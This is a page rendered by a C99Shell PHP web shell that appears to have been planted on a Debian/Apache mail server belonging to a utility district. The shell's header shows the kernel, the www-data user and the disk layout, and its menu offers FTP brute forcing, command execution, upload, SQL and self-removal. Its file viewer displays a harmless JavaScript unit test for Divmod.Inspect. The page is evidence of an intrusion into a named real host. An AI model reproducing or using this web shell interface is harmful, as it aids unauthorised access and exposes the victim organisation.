!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/pyshared/nevow/js/Divmod/Test/   drwxr-xr-x
Free 129.82 GB of 142.11 GB (91.35%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     TestInspect.js (2.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/**
 * Tests for Divmod.Inspect
 */

// import Divmod.UnitTest
// import Divmod.Inspect


Divmod.Test.TestInspect.TestInspect = Divmod.UnitTest.TestCase.subclass('TestInspect');
Divmod.Test.TestInspect.TestInspect.methods(
    /**
     * Test that L{Divmod.Inspect.methods} returns all the methods of a class
     * object.
     */
    function test_methods(self) {

        /* Divmod.Class has no visible toString method for some reason.  If this
         * ever changes, feel free to change this test.
         */
        self.assertArraysEqual(Divmod.Inspect.methods(Divmod.Class),
                               ["__init__"]);

        var TestClass = Divmod.Class.subclass("test_inspect.test_methods.TestClass");
        TestClass.methods(function method() {});

        /* Subclasses get two methods automagically, __init__ and toString.  If
         * this ever changes, feel free to change this test.
         */
        self.assertArraysEqual(Divmod.Inspect.methods(TestClass),
                               ["__init__", "method", "toString"]);


        var TestSubclass = TestClass.subclass("test_inspect.test_methods.TestSubclass");
        TestSubclass.methods(function anotherMethod() {});

        self.assertArraysEqual(Divmod.Inspect.methods(TestSubclass),
                               ["__init__", "anotherMethod", "method",
                                "toString"]);
    },


    /**
     * Test that an appropriate exception is raised if the methods of an instance
     * are requested.
     */
    function test_methodsAgainstInstance(self) {
        var msg = "Only classes have methods.";
        var error;

        error = self.assertThrows(
            Error,
            function() {
                return Divmod.Inspect.methods([]);
            });
        self.assertIdentical(error.message, msg);

        error = self.assertThrows(
            Error,
            function() {
                return Divmod.Inspect.methods({});
            });
        self.assertIdentical(error.message, msg);

        error = self.assertThrows(
            Error,
            function() {
                return Divmod.Inspect.methods(0);
            });
        self.assertIdentical(error.message, msg);

        error = self.assertThrows(
            Error,
            function() {
                return Divmod.Inspect.methods("");
            });
        self.assertIdentical(error.message, msg);

        error = self.assertThrows(
            Error,
            function() {
                return Divmod.Inspect.methods(Divmod.Class());
            });
        self.assertIdentical(error.message, msg);
    });

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0142 ]--